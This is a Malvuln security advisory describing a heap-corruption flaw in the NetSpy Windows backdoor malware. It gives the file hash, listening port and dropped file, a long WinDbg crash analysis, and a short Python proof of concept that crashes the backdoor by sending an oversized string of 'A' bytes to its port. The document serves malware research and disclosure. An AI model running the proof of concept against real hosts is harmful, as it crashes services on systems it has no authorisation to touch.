Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e677149c35cbba118655d9b133da8827.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 7306 and drops an executable named "SPYNOTIFY.EXE" under SysWOW64 dir. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption overwriting EDX and EAX registers.
Type: PE32
MD5: e677149c35cbba118655d9b133da8827
Vuln ID: MVID-2021-0235
Dropped files:  SPYNOTIFY.EXE
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/01/2021

Memory Dump:
(17a0.8ec): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=042a0e28 edx=61616161 esi=00000003 edi=00000003
eip=7720ed3c esp=02730028 ebp=027301b8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7720ed3c c21400          ret     14h

0:002> .ecxr
eax=61616161 ebx=042a0a28 ecx=042a0e28 edx=61616161 esi=042a0e20 edi=042a0000
eip=771dfd18 esp=02730948 ebp=02730aa0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ntdll!RtlpFreeHeap+0x298:
771dfd18 8b00            mov     eax,dword ptr [eax]  ds:002b:61616161=????????

0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

FAULTING_IP: 
ntdll!RtlpFreeHeap+298
771dfd18 8b00            mov     eax,dword ptr [eax]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 61616161
Attempt to read from address 61616161

PROCESS_NAME:  Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  61616161

READ_ADDRESS:  61616161 

FOLLOWUP_IP: 
Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915
00404915 5e              pop     esi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000008ec

BUGCHECK_STR:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161

PRIMARY_PROBLEM_CLASS:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161

DEFAULT_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161

LAST_CONTROL_TRANSFER:  from 771dfa0d to 771dfd18

STACK_TEXT:  
02730aa0 771dfa0d 042a0a28 042a0a30 02730bc8 ntdll!RtlpFreeHeap+0x298
02730af4 00404915 042a0000 00000000 042a0a30 ntdll!RtlFreeHeap+0x7cd
WARNING: Stack unwind information not available. Following frames may be wrong.
02730b0c 0040382a 042a0a30 00401977 042a0a30 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x4915
02730b14 00401977 042a0a30 042b0910 00403570 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x382a
02730b18 042a0a30 042b0910 00403570 0274ff80 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x1977
02730b1c 042b0910 00403570 0274ff80 042b0910 0x42a0a30
02730b20 00403570 0274ff80 042b0910 20393131 0x42b0910
02730b24 0274ff80 042b0910 20393131 65747962 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x3570
02730b28 042b0910 20393131 65747962 000a0d73 0x274ff80
0274ff80 761f8654 042b0910 761f8630 4ef3ea98 0x42b0910
0274ff94 77204a77 042b0910 a3721ebb 00000000 kernel32!BaseThreadInitThunk+0x24
0274ffdc 77204a47 ffffffff 77229eb8 00000000 ntdll!__RtlUserThreadStart+0x2f
0274ffec 00000000 00403570 042b0910 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  !heap ; ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  2

SYMBOL_NAME:  Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827

IMAGE_NAME:  Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  35cfac97

FAILURE_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161_c0000005_Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161_Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915

Followup: MachineOwner
---------

0:002> .exr -1
ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 61616161
Attempt to read from address 61616161


Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7306

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*6667
    s.send(PAYLOAD)
    s.close()
    
    print("Backdoor.Win32.NetSpy.10 / Heap Corruption")
    print("MD5: e677149c35cbba118655d9b133da8827")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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